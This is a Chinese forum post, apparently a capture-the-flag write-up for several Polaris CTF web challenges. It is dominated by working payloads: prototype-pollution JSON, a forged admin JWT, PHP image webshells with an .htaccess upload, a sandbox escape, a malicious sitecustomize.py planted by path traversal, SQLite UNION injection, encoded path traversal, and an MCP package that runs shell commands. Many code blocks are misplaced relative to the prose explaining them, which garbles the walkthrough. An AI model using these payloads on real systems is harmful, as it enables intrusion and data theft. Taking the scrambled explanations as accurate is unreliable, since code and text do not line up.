找回密码
 立即注册
首页 业界区 业界 Polaris CTF部分web题wp

Polaris CTF部分web题wp

缣移双 6 小时前
0基础也能看懂的,polarisctf部分web题wp
ez_python

题目
  1. from flask import Flask, request
  2. import json
  3. app = Flask(__name__)
  4. def merge(src, dst):
  5.     for k, v in src.items():
  6.         if hasattr(dst, '__getitem__'):
  7.             if dst.get(k) and type(v) == dict:
  8.                 merge(v, dst.get(k))
  9.             else:
  10.                 dst[k] = v
  11.         elif hasattr(dst, k) and type(v) == dict:
  12.             merge(v, getattr(dst, k))
  13.         else:
  14.             setattr(dst, k, v)
  15. class Config:
  16.     def __init__(self):
  17.         self.filename = "app.py"
  18. class Polaris:
  19.     def __init__(self):
  20.         self.config = Config()
  21. instance = Polaris()
  22. @app.route('/', methods=['GET', 'POST'])
  23. def index():
  24.     if request.data:
  25.         merge(json.loads(request.data), instance)
  26.     return "Welcome to Polaris CTF"
  27. @app.route('/read')
  28. def read():
  29.     return open(instance.config.filename).read()
  30. @app.route('/src')
  31. def src():
  32.     return open(__file__).read()
  33. if __name__ == '__main__':
  34.     app.run(host='0.0.0.0', port=5000, debug=False)
复制代码

  1. @app.route('/read')
  2. def read():
  3.     return open(instance.config.filename).read()
复制代码
目标是污染instance.config.filename为flag
  1. {"config": {"filename": "/flag"}}
复制代码
only real

题目

1.png



源代码泄露账号密码
  1. [/code]登录时抓包发现有token并且登录后无法操作,猜测伪造token
  2. [code]eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NzQ5NDU5MjJ9.oklvvL_iH2xPICwCpsImEtoYgHdXe8y6GXNsbnsB-T4
复制代码
爆破出key=cdef
改token的role=xmuser,发现还是无法操作
修改role=admin,发现可以操作了(其实直接改前端代码把disabled删掉也可以)
  1. eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3NzQ5NDU5MjIsInJvbGUiOiJhZG1pbiIsInN1YiI6IjEifQ.w6j2pDZ0eThtl-bUz0HBzRSxcKRT06J-kYAx6Ysu6Pw
复制代码
随便传个1.php果然有限制,试试1.jpg图片马
  1. #define width 1337
  2. #define height 1337
  3. <?php eval($_POST['cmd']); ?>
复制代码
  1. [/code]均提示文件内容包含非法关键字
  2. [size=4]法一:chr绕过[/size]
  3. 尝试绕过关键字限制
  4. [code]
复制代码
提示上传成功,这里虽然没有回显保存的路径,但是可以猜测是/upload/文件名/jpg
下面是ai写的一把梭脚本
  1. AddType application/x-httpd-php .jpg
复制代码
法三:关键词绕过
  1. [/code]抓包改后缀然后访问即可
  2. [size=6]ezpollute[/size]
  3. [size=5]前置知识[/size]
  4. [b]NODE_OPTIONS 环境变量[/b]
  5. NODE_OPTIONS 是Node.js的环境变量,用于在启动Node.js时自动添加命令行参数。
  6. [code]import requests
  7. import jwt
  8. import re
  9. import sys
  10. sys.stdout.reconfigure(encoding='utf-8')
  11. target_url = "这里填写靶机地址"
  12. session = requests.Session()
  13. print("=" * 60)
  14. print("CTF Challenge Solver - JWT伪造 + 文件上传绕过")
  15. print("=" * 60)
  16. print("\n[步骤1] 登录获取token...")
  17. resp = session.post(f"{target_url}/login.php", data={"user": "xmuser", "pass": "123456"})
  18. token = session.cookies.get("token")
  19. print(f"[+] Token获取成功")
  20. print("\n[步骤2] 解码并伪造admin token...")
  21. payload = jwt.decode(token, options={"verify_signature": False})
  22. print(f"[*] 原始payload: {payload}")
  23. payload["role"] = "admin"
  24. forged_token = jwt.encode(payload, "cdef", algorithm="HS256")
  25. if isinstance(forged_token, bytes):
  26.     forged_token = forged_token.decode()
  27. session.cookies.set("token", forged_token)
  28. print(f"[+] Admin token伪造成功")
  29. print("\n[步骤3] 上传.htaccess配置文件...")
  30. upload_url = f"{target_url}/upload.php"
  31. htaccess_content = "AddType application/x-httpd-php .jpg"
  32. files = {"file": (".htaccess", htaccess_content, "text/plain")}
  33. resp = session.post(upload_url, files=files)
  34. print(f"[*] 响应: {resp.text}")
  35. print("\n[步骤4] 上传图片马...")
  36. image_data = b"GIF89a<?php @eval($_POST['cmd']);?>"
  37. files = {"file": ("cmd.jpg", image_data, "image/jpeg")}
  38. resp = session.post(upload_url, files=files)
  39. print(f"[*] 响应: {resp.text}")
  40. print("\n[步骤5] 执行命令获取flag...")
  41. shell_url = f"{target_url}/uploads/cmd.jpg"
  42. print(f"[*] Shell URL: {shell_url}")
  43. commands = [
  44.     "system('cat /flag');",
  45.     "system('cat /flag.txt');",
  46.     "system('ls -la /');",
  47.     "system('find / -name flag* 2>/dev/null');",
  48.     "echo file_get_contents('/flag');",
  49.     "print_r(glob('/*'));",
  50.     "system('cat /var/www/html/flag*');",
  51. ]
  52. for cmd in commands:
  53.     try:
  54.         resp = session.post(shell_url, data={"cmd": cmd})
  55.         result = resp.text
  56.         print(f"\n[*] 执行: {cmd}")
  57.         print(f"[*] 结果: {result}")
  58.         
  59.         flag_match = re.search(r'flag\{[^}]+\}', result, re.IGNORECASE)
  60.         if flag_match:
  61.             print(f"\n{'='*60}")
  62.             print(f"[+] 成功获取FLAG: {flag_match.group(0)}")
  63.             print(f"{'='*60}")
  64.             with open("flag.txt", "w") as f:
  65.                 f.write(flag_match.group(0))
  66.             break
  67.     except Exception as e:
  68.         print(f"[-] 执行失败: {e}")
  69. print("\n[步骤6] 尝试其他方式...")
  70. shell_url = f"{target_url}/uploads/cmd.jpg"
  71. print("[*] 尝试直接GET请求执行...")
  72. resp = session.get(f"{shell_url}?cmd=system('cat /flag');")
  73. print(f"[*] GET结果: {resp.text}")
  74. print("\n[*] 尝试phpinfo...")
  75. resp = session.post(shell_url, data={"cmd": "phpinfo();"})
  76. if "PHP Version" in resp.text:
  77.     print("[+] PHP代码执行成功!")
  78.     print(f"[*] 响应长度: {len(resp.text)}")
复制代码
-r 参数的作用:在Node.js启动时预加载指定模块。
  1. <?= readfile(glob("/fl*")[0]); ?>
复制代码
-r = --require意思是:启动 Node 时,先加载并执行这个文件里的 JS 代码,开发环境常用于设置环境变量。
并且报错时会把出错的那一行打印出来
题目
  1. # 设置NODE_OPTIONS
  2. export NODE_OPTIONS="-r /path/to/script.js"
  3. # 当运行node命令时,相当于
  4. node -r /path/to/script.js your_script.js
复制代码


审计代码,应该是一道node.js的原型链污染题目
看污染部分逻辑
  1. node -r 文件名.js
复制代码
只过滤了__proto__关键词,但我们还是可以使用{"constructor": {"prototype": {"key": "value"}}} 污染
再看到/api/status路由
  1. const express = require('express');
  2. const { spawn } = require('child_process');
  3. const path = require('path');
  4. const app = express();
  5. app.use(express.json());
  6. app.use(express.static(__dirname));
  7. function merge(target, source, res) {
  8.     for (let key in source) {
  9.         if (key === '__proto__') {
  10.             if (res) {
  11.                 res.send('get out!');
  12.                 return;
  13.             }
  14.             continue;
  15.         }
  16.         
  17.         if (source[key] instanceof Object && key in target) {
  18.             merge(target[key], source[key], res);
  19.         } else {
  20.             target[key] = source[key];
  21.         }
  22.     }
  23. }
  24. let config = {
  25.     name: "CTF-Guest",
  26.     theme: "default"
  27. };
  28. app.post('/api/config', (req, res) => {
  29.     let userConfig = req.body;
  30.     const forbidden = ['shell', 'env', 'exports', 'main', 'module', 'request', 'init', 'handle','environ','argv0','cmdline'];
  31.     const bodyStr = JSON.stringify(userConfig).toLowerCase();
  32.     for (let word of forbidden) {
  33.         if (bodyStr.includes(`"${word}"`)) {
  34.             return res.status(403).json({ error: `Forbidden keyword detected: ${word}` });
  35.         }
  36.     }
  37.     try {
  38.         merge(config, userConfig, res);
  39.         res.json({ status: "success", msg: "Configuration updated successfully." });
  40.     } catch (e) {
  41.         res.status(500).json({ status: "error", message: "Internal Server Error" });
  42.     }
  43. });
  44. app.get('/api/status', (req, res) => {
  45.     const customEnv = Object.create(null);
  46.     for (let key in process.env) {
  47.         if (key === 'NODE_OPTIONS') {
  48.             const value = process.env[key] || "";
  49.             const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;
  50.             if (!dangerousPattern.test(value)) {
  51.                 customEnv[key] = value;
  52.             }
  53.             continue;
  54.         }
  55.         customEnv[key] = process.env[key];
  56.     }
  57.    
  58.     const proc = spawn('node', ['-e', 'console.log("System Check: Node.js is running.")'], {
  59.         env: customEnv,
  60.         shell: false
  61.     });
  62.    
  63.     let output = '';
  64.     proc.stdout.on('data', (data) => { output += data; });
  65.     proc.stderr.on('data', (data) => { output += data; });
  66.    
  67.     proc.on('close', (code) => {
  68.         res.json({
  69.             status: "checked",
  70.             info: output.trim() || "No output from system check."
  71.         });
  72.     });
  73. });
  74. app.get('/', (req, res) => {
  75.     res.sendFile(path.join(__dirname, 'index.html'));
  76. });
  77. // Flag 位于 /flag
  78. app.listen(3000, '0.0.0.0', () => {
  79.     console.log('Server running on port 3000');
  80. });
复制代码
创建了一个没有原型的对象,但是由于在后面
  1. function merge(target, source, res) {
  2.     for (let key in source) {
  3.         if (key === '__proto__') {
  4.             if (res) {
  5.                 res.send('get out!');
  6.                 return;
  7.             }
  8.             continue;
  9.         }
  10.         
  11.         if (source[key] instanceof Object && key in target) {
  12.             merge(target[key], source[key], res);
  13.         } else {
  14.             target[key] = source[key];
  15.         }
  16.     }
  17. }
复制代码
讲process.env的参数赋给customEnv
所以我们仍然可以污染process.env的原型来间接污染customEnv
发送污染Payload
  1. const customEnv = Object.create(null);
复制代码
再访问 /api/status ,此时:

  • 创建子进程 node -e 'console.log(...)'
  • 子进程继承被污染的 process.env.NODE_OPTIONS
  • 实际执行:node -r /flag -e 'console.log(...)'
  • Node.js 尝试预加载 /flag 文件
  • /flag 内容 XMCTF{...} 不是合法JS,报错
  • 错误信息中包含 flag 内容
ai一把梭脚本
  1. for (let key in process.env) {
  2.         if (key === 'NODE_OPTIONS') {
  3.             const value = process.env[key] || "";
  4.             const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;
  5.             if (!dangerousPattern.test(value)) {
  6.                 customEnv[key] = value;
  7.             }
  8.             continue;
  9.         }
  10.         customEnv[key] = process.env[key];
  11.     }
复制代码
Not a Node

前置知识

使用Error.prepareStackTrace技巧

这是一个V8/JSC引擎的特性,用于自定义错误堆栈的显示方式。
  1. POST /api/config HTTP/1.1
  2. Content-Type: application/json
  3. {
  4.     "constructor": {
  5.         "prototype": {
  6.             "NODE_OPTIONS": "-r /flag"
  7.         }
  8.     }
  9. }
复制代码
原理:当JavaScript引擎准备显示错误堆栈时,会调用Error.prepareStackTrace函数。通过修改这个函数,我们可以在错误发生时执行自定义代码。
获取全局对象

使用(0, eval)("this")技巧:
  1. import requests
  2. import re
  3. target_url = "http://target_url"
  4. session = requests.Session()
  5. # Step 1: 发送污染payload
  6. payload = {
  7.     "constructor": {
  8.         "prototype": {
  9.             "NODE_OPTIONS": "-r /flag"
  10.         }
  11.     }
  12. }
  13. resp = session.post(
  14.     f"{target_url}/api/config",
  15.     json=payload,
  16.     headers={"Content-Type": "application/json"}
  17. )
  18. print(f"[+] 污染结果: {resp.text}")
  19. # Step 2: 触发漏洞
  20. resp = session.get(f"{target_url}/api/status")
  21. print(f"[+] 触发结果: {resp.text}")
  22. # Step 3: 提取flag
  23. flag_match = re.search(r'(XMCTF|flag)\{[^}]+\}', resp.text, re.IGNORECASE)
  24. if flag_match:
  25.     print(f"[+] FLAG: {flag_match.group(0)}")
复制代码
为什么这样写?

  • (0, eval)是JavaScript的一个技巧,确保eval在全局作用域执行
格式?
  1. // 定义自定义的堆栈格式化函数
  2. Error.prepareStackTrace = function(error, stack) {
  3.     // error: 错误对象
  4.     // stack: CallSite对象数组,包含调用栈信息
  5.     return "custom stack";
  6. };
  7. // 触发一个错误来测试
  8. try {
  9.     throw new Error("test");
  10. } catch (e) {
  11.     console.log(e.stack);
  12. }
复制代码
关于JSC

JSC = JavaScriptCore
是 Safari / 边缘计算用的浏览器引擎,无 Node.js 原生 API
关于Uint8Array

Uint8Array是JavaScript中的类型化数组,用于表示8位无符号整数数组。它可以用来处理二进制数据。
  1. // (0, eval) 将eval作为普通函数调用,而不是直接调用
  2. // "this" 在eval中指向全局对象
  3. let global = (0, eval)("this");
  4. console.log(global);
复制代码
而二进制数据,一般直接作为原始字节传递,不被当作字符串处理
题目

我们搭建了一个“安全”的在线 JavaScript 运行平台。
你提交的代码会被放进一个精心准备的沙箱中运行,一切看起来很干净
2.png



拿到题不会做也没啥想法,跟着ai走一遍学习学习
第一步:信息收集

网站右侧
  1. (0, eval)
  2. (1, eval)
  3. (null, eval)
  4. ('', eval)
  5. [eval][0]
  6. window.eval                #浏览器中
  7. global.eval                #node.js中
复制代码
说明无法使用node.js原生api
  1. // 创建一个Uint8Array
  2. let arr = new Uint8Array([72, 101, 108, 108, 111]);  // "Hello"
  3. // 将字符串转为Uint8Array
  4. let encoder = new TextEncoder();
  5. let bytes = encoder.encode("Hello");  // Uint8Array [72, 101, 108, 108, 111]
  6. // 将Uint8Array转回字符串
  7. let decoder = new TextDecoder();
  8. let str = decoder.decode(bytes);  // "Hello"
复制代码
泄露使用了__runtime 的几个函数
  1. Fetch API standards fully supported in the JSC sandboxed context.
  2. #Fetch API 标准在 JSC 沙箱环境中被完全支持。
复制代码
提示可能利用__runtime 的其他函数?
第二步:进一步信息收集找可利用方法

探测runtime中的可用属性,注意由于返回内容包含对象,要使用JSON.stringify处理返回内容,并且需要Object.getOwnPropertyNames获取所有属性(否则函数,下划线开头等属性不会显示)
  1. __runtime.hash(str)
  2. High-performance DJB2 hashing.
  3. __runtime.encoding.hexEncode(s)
  4. e.g. hexEncode("internal") -> 696e7465...
复制代码
可以发现runtime中"_debug" "_secrets" "_internal"这三个比较可疑
分别列出其中可用函数
  1. Advanced
  2. The runtime exposes documented APIs through the __runtime global. Platform orchestration may rely on additional internal bindings not listed here.
  3. #高级
  4. #运行时通过 __runtime 全局对象暴露已公开的 API。
  5. #平台调度可能依赖此处未列出的其他内部绑定(方法)。
复制代码
  1. export default {
  2.     async fetch(req) {
  3.         let runtime = (0, eval)("this").__runtime;
  4.         // 列出所有自身属性(包括 _internal / _secrets / _debug)
  5.         let allKeys = Object.getOwnPropertyNames(runtime);
  6.         return new Response(JSON.stringify(allKeys));
  7.     }
  8. };
  9. //回显
  10. //["hash","strlen","platform","perf","encoding","_debug","_secrets","_internal"]
复制代码
没啥发现,挨个看看
在看到_internal.lib.symbols时
  1. export default {
  2.     async fetch(req) {
  3.         let s = __runtime._secrets;
  4.         // 看 _secrets 下有哪些函数/属性
  5.         let keys = Object.getOwnPropertyNames(s);
  6.         return new Response(JSON.stringify(keys));
  7.     }
  8. };
复制代码
0x开头推测是16进制,解码一下分别是read和list
尝试直接调用read函数读/flag
  1. _debug : ["enabled","trace","dump","inspect"]
  2. _secrets : ["get","list"]
  3. _internal : ["debug","lib"]
复制代码
错误信息告诉我们几个重要信息:

  • 路径被修改了:我们传入的是"/flag",但系统收到的是"/app/\u0000\u0000..."
  • 支持Uint8Array:错误说参数可以是string、Uint8Array或URL
  • null bytes问题:路径中出现了\u0000(空字符)
推测

  • 系统在处理字符串路径时,会在前面加上/app/
  • 可能因为某些内存对齐问题,后面跟着空字节
  • 但如果使用Uint8Array,可能绕过这个处理
  1. export default {
  2.     async fetch(req) {
  3.         let s = __runtime._internal.lib.symbols;
  4.         let keys = Object.getOwnPropertyNames(s);
  5.         return new Response(JSON.stringify(keys));
  6.     }
  7. };
  8. //回显
  9. //["_0x72656164","_0x6c697374"]
复制代码
拿到flag
AutoPypy

前置知识

site模块

site模块在Python启动时自动导入,负责:

  • 添加site-packages到sys.path
  • 当 Python 启动时,site 模块会按这个顺序自动执行:

    • 导入 sitecustomize.py
    • 导入 usercustomize.py
    • 处理 .pth 文件

sitecustomize.py(系统级)
这是Python的特殊文件,在解释器启动时自动导入:
  1. export default {
  2.   async fetch(request) {
  3.     let flag = __runtime._internal.lib.symbols._0x72656164('/flag');
  4.     return new Response(JSON.stringify(flag));   
  5.   }
  6. }
  7. //回显
  8. //"ERROR: The argument 'path' must be a string, Uint8Array, or URL without null bytes. Received "/app/\\u0000\\u0000\\u0000\\u0000\\u0000""
复制代码
usercustomize.py(用户级)
与前者类似,同样自动执行
os.path.join的特性

os.path.join在Unix上如果第二部分是绝对路径,会返回第二部分!
  1. export default {
  2.   async fetch(request) {
  3.           let encoder = new TextEncoder();
  4.         let path = encoder.encode("/flag");
  5.     let flag = __runtime._internal.lib.symbols._0x72656164(path);
  6.     return new Response(JSON.stringify(flag));   
  7.   }
  8. }
  9. //回显
  10. //xmctf{......}
复制代码
也可以
  1. # sitecustomize.py
  2. import os
  3. os.system('cat /flag')  # 每次Python启动都执行,我们可以插入恶意代码,每次运行时都会自动执行
复制代码
题目

3.png

server.py
  1. os.path.join('/app/uploads', '/etc/passwd')  # /etc/passwd
复制代码
launcher.py
  1. path = os.path.join('/app/uploads', '../../../etc/passwd')
复制代码


简单代码审计
  1. import os
  2. import sys
  3. import subprocess
  4. from flask import Flask, request, render_template, jsonify
  5. app = Flask(__name__)
  6. BASE_DIR = os.path.dirname(os.path.abspath(__file__))
  7. UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')
  8. if not os.path.exists(UPLOAD_FOLDER):
  9.     os.makedirs(UPLOAD_FOLDER)
  10. @app.route('/')
  11. def index():
  12.     return render_template("index.html")
  13. @app.route('/upload', methods=['POST'])
  14. def upload():
  15.     if 'file' not in request.files:
  16.         return 'No file part', 400
  17.    
  18.     file = request.files['file']
  19.     filename = request.form.get('filename') or file.filename
  20.    
  21.     save_path = os.path.join(UPLOAD_FOLDER, filename)
  22.    
  23.     save_dir = os.path.dirname(save_path)
  24.     if not os.path.exists(save_dir):
  25.         try:
  26.             os.makedirs(save_dir)
  27.         except OSError:
  28.             pass
  29.     try:
  30.         file.save(save_path)
  31.         return f'成功上传至: {save_path}'
  32.     except Exception as e:
  33.         return f'上传失败: {str(e)}', 500
  34. @app.route('/run', methods=['POST'])
  35. def run_code():
  36.     data = request.get_json()
  37.     filename = data.get('filename')
  38.     target_file = os.path.join('/app/uploads', filename)
  39.     launcher_path = os.path.join(BASE_DIR, 'launcher.py')
  40.     try:
  41.         proc = subprocess.run(
  42.             [sys.executable, launcher_path, target_file],
  43.             capture_output=True,
  44.             text=True,
  45.             timeout=5,
  46.             cwd=BASE_DIR
  47.         )
  48.         return jsonify({"output": proc.stdout + proc.stderr})
  49.     except subprocess.TimeoutExpired:
  50.         return jsonify({"output": "Timeout"})
  51. if __name__ == '__main__':
  52.     import site
  53.     print(f"[*] Server started.")
  54.     print(f"[*] Upload Folder: {UPLOAD_FOLDER}")
  55.     print(f"[*] Target site-packages (Try to reach here): {site.getsitepackages()[0]}")
  56.     app.run(host='0.0.0.0', port=5000)
复制代码

  • filename可控(通过request.form.get('filename'))
  • os.path.join可能存在路径穿越
考虑覆盖sitecustomize.py
我们可以通过一段命令查看路径
  1. import subprocess
  2. import sys
  3. def run_sandbox(script_name):
  4.     print("Launching sandbox...")
  5.     cmd = [
  6.         'proot',
  7.         '-r', './jail_root',
  8.         '-b', '/bin',
  9.         '-b', '/usr',
  10.         '-b', '/lib',
  11.         '-b', '/lib64',
  12.         '-b', '/etc/alternatives',
  13.         '-b', '/dev/null',
  14.         '-b', '/dev/zero',
  15.         '-b', '/dev/urandom',
  16.         '-b', f'{script_name}:/app/run.py',
  17.         '-w', '/app',
  18.         'python3', 'run.py'
  19.     ]
  20.     subprocess.call(cmd)
  21.     print("ok")
  22. if __name__ == "__main__":
  23.     script = sys.argv[1]
  24.     run_sandbox(script)
复制代码
或者ai说还有一个规则:
Linux 中,Python 的第三方包目录 永远是这个格式
  1. file = request.files['file']
  2.     # 从请求参数或文件名获取保存路径
  3.     filename = request.form.get('filename') or file.filename
  4.    
  5.     # 路径穿越漏洞!
  6.     save_path = os.path.join(UPLOAD_FOLDER, filename)
  7.    
  8.     # 创建目录
  9.     save_dir = os.path.dirname(save_path)
复制代码
X.Y = 大版本号(只取前两位,3.10.19 → 3.10)
创建恶意sitecustomize.py并上传
  1. import site
  2. import sys
  3. print("site:", site.getsitepackages())#存放第三方库的位置
  4. print("sys.path:", sys.path)#加载模块的路径列表
  5. #回显
  6. #site: ['/usr/local/lib/python3.10/site-packages']
  7. #sys.path: ['/app', '/usr/local/lib/python310.zip', '/usr/local/lib/python3.10', '/usr/local/lib/python3.10/lib-dynload', '/usr/local/lib/python3.10/site-packages']
复制代码
  1. ------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bbContent-Disposition: form-data; name="file"; filename="1.py"Content-Type: image/jpegimport site
  2. import sys
  3. print("site:", site.getsitepackages())#存放第三方库的位置
  4. print("sys.path:", sys.path)#加载模块的路径列表
  5. #回显
  6. #site: ['/usr/local/lib/python3.10/site-packages']
  7. #sys.path: ['/app', '/usr/local/lib/python310.zip', '/usr/local/lib/python3.10', '/usr/local/lib/python3.10/lib-dynload', '/usr/local/lib/python3.10/site-packages']------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bbContent-Disposition: form-data; name="filename"../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb--#回显#成功上传至: /app/uploads/../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py
复制代码
然后执行任意文件就拿到flag了
同样的,除了sitecustomize.py我们还可以用usercustomize.py
但是要注意路径不一样
  1. import os
  2. print(open('/flag').read())
复制代码
其余步骤与前者相同
Broken Trust

题目

某FlaskWeb应用提供了一个仅管理员可访问的备份读取接口。
神通广大的CTFer是否能发现逻辑缺陷,拿到敏感文件呢


注册拿uid登录,发现有特定的工具但是Only users with the admin role can access the backup interface.
发现cooki中有
  1. ------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb
  2. Content-Disposition: form-data; name="file"; filename="1.py"
  3. Content-Type: image/jpeg
  4. import os
  5. print(open('/flag').read())
  6. ------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb
  7. Content-Disposition: form-data; name="filename"
  8. ../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py
  9. ------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb--
  10. #回显
  11. #成功上传至: /app/uploads/../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py
复制代码
尝试爆破
  1. import site
  2. print(site.getusersitepackages())
  3. #回显
  4. #/home/ctf/.local/lib/python3.10/site-packages
复制代码
失败
源代码提取不到什么信息
抓包探索一下功能
发现Refresh Session Data功能会把uid POST给/api/profile,而我们知道profile一般和用户配置文件有关,并且返回内容是我们注册时的名称,可能有查询功能,考虑下sql?
尝试在UID参数中添加单引号:
  1. session=eyJyb2xlIjoidXNlciIsInVpZCI6Ijk1OTY2YzI0YTI0MzQwMjU5NWQ2MDIxMjkwNTU4YTc5IiwidXNlcm5hbWUiOiJhYWEifQ.ac8pHA.beGJyhdag0KL8k_Z2lJHUS1iJD0
复制代码
提到了database error数据库错误
测试回显:
  1. flask-unsign --unsign --cookie "eyJyb2xlIjoidXNlciIsInVpZCI6Ijk1OTY2YzI0YTI0MzQwMjU5NWQ2MDIxMjkwNTU4YTc5IiwidXNlcm5hbWUiOiJhYWEifQ.ac8pHA.beGJyhdag0KL8k_Z2lJHUS1iJD0" --wordlist E:\字典\flask_secrets.txt
复制代码
尝试不同数据库的获取版本的语句
  1. {"uid":"95966c24a243402595d6021290558a79'"}
  2. 回显
  3. {"details":"unrecognized token: "'95966c24a243402595d6021290558a79''"","error":"Database error"}
复制代码
确定是sqlite
爆数据库内容
  1. {"uid":"95966c24a243402595d6021290558a79' union select 1,2,3 --"}
  2. 回显
  3. {"role":3,"uid":1,"username":2}
复制代码
我们的uid是95966...另一个应该就是admin了
拿uid去登录,admin专属工具是一个任意文件读取
  1. {"uid":"95966c24a243402595d6021290558a79' union select sqlite_version(),2,3-- -"}
  2. 回显
  3. {"role":3,"uid":"3.34.1","username":2}
复制代码
我们尝试路径遍历
....读不到flag,猜测有过滤
尝试双重url编码(双写../也可以)
  1. {"uid":"95966c24a243402595d6021290558a79' union select 1,2,(select group_concat(uid) from users)--"}
  2. 回显
  3. {"role":"72adb8bc58dc4028bc694124095b111a,95966c24a243402595d6021290558a79","uid":1,"username":2}
复制代码
拿到flag
DXT

前置知识

什么是DXT文件?

DXT是一种用于打包和分发MCP(Model Context Protocol)服务的文件格式。
DXT文件结构

DXT文件本质上是一个ZIP压缩包,包含:
  1. /api/admin?action=backup&file=config.json
复制代码
什么是MCP?

MCP(Model Context Protocol)是一种协议,用于AI模型与外部服务交互。
MCP配置

MCP服务通过command和args指定启动命令:
  1. ../../../flag
  2. %252e%252e%252f%252e%252e%252f%252e%252e%252f%2566%256c%2561%2567
复制代码
如果command和args可控,可以执行任意命令!
题目

一个简单的mcp_server
4.png



先试试php一句话木马,要求后缀.dxt
随便上传一个.dxt后缀的文件
  1. evil.dxt (ZIP文件)
  2. ├── manifest.json    # 配置文件
  3. └── dummy.txt        # 占位文件
复制代码
看来需要按照正确格式上传
下面就靠ai教了
  1. {
  2.     "mcp_config": {
  3.         "command": "/bin/sh",
  4.         "args": ["-c", "echo hello"]
  5.     }
  6. }
复制代码
然后把生成的dxt文件上传并允许,在vps上开
  1. Upload failed: Failed to unpack DXT file: failed to open dxt file: zip: not a valid zip file
复制代码
即可拿到shell(尝试python和bash弹shell好像都失败了,但是nc成功了)

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册
发帖

0

粉丝关注

21

主题发布

板块介绍填写区域,请于后台编辑